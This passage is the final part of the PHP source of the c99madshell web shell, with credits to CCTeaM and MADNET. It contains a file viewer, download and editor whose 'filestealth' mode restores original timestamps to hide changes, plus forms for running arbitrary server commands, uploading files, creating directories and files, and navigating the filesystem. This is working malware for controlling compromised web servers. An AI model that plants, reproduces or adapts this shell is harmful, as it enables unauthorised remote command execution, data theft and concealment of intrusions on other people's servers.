2493      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
2494      echo "</b><hr size=\"1\" noshade>";
2495     }
2496    }
2497    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
2498    if (!empty($white)) {@ob_clean();}
2499    highlight_file($d.$f);
2500    if (!empty($white)) {c99shexit();}
2501    echo "</div>";
2502   }
2503   elseif ($ft == "download")
2504   {
2505    @ob_clean();
2506    header("Content-type: application/octet-stream");
2507    header("Content-length: ".filesize($d.$f));
2508    header("Content-disposition: attachment; filename=\"".$f."\";");
2509    echo $r;
2510    exit;
2511   }
2512   elseif ($ft == "notepad")
2513   {
2514    @ob_clean();
2515    header("Content-type: text/plain");
2516    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2517    echo($r);
2518    exit;
2519   }
2520   elseif ($ft == "edit")
2521   {
2522    if (!empty($submit))
2523    {
2524     if ($filestealth) {$stat = stat($d.$f);}
2525     $fp = fopen($d.$f,"w");
2526     if (!$fp) {echo "<b>Can't write to file!</b>";}
2527     else
2528     {
2529      echo "<b>Saved!</b>";
2530      fwrite($fp,$edit_text);
2531      fclose($fp);
2532      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
2533      $r = $edit_text;
2534     }
2535    }
2536    $rows = count(explode("
2537 ",$r));
2538    if ($rows < 10) {$rows = 10;}
2539    if ($rows > 30) {$rows = 30;}
2540    echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
2541   }
2542   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
2543   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
2544  }
2545 }
2546 if ($act == "about") {echo "<center><b>Webbased shell for administration your resources<br>Credits:<br>Start coding by CCTeaM.<br><font color=green>Edited and Finished by <b>MADNET</b><br>ICQ 751777 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=751777\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=751777&img=5\" border=0 align=absmiddle></font></a>.</b>";}
2547 ?>
2548 </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2549 <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="#" onclick="document.todo.act.value='cmd';document.todo.d.value='<?php echo urlencode($d); ?>';document.todo.submit();"><b>Command execute</b></a> ::</b></p></td></tr>
2550 <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
2551 <br>
2552 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2553 <tr>
2554  <td width="50%" height="1" valign="top"><center><b>:: <a href="#" onclick="document.todo.act.value='search';document.todo.submit();"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
2555  <td width="50%" height="1" valign="top"><center><b>:: <a href="#" onclick="document.todo.act.value='upload';document.todo.submit();"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
2556 </tr>
2557 </table>
2558 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
2559 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
2560 <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. <?php echo $shver; ?><a href="#" OnClick="document.todo.act.value='about';document.todo.submit();"><u> EDITED BY </b><b>MADNET</u></b> </a>| <a href="http://securityprobe.net"><font color="#FF0000">http://securityprobe.net</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
2561 </body></html><?php chdir($lastdir); c99shexit(); ?>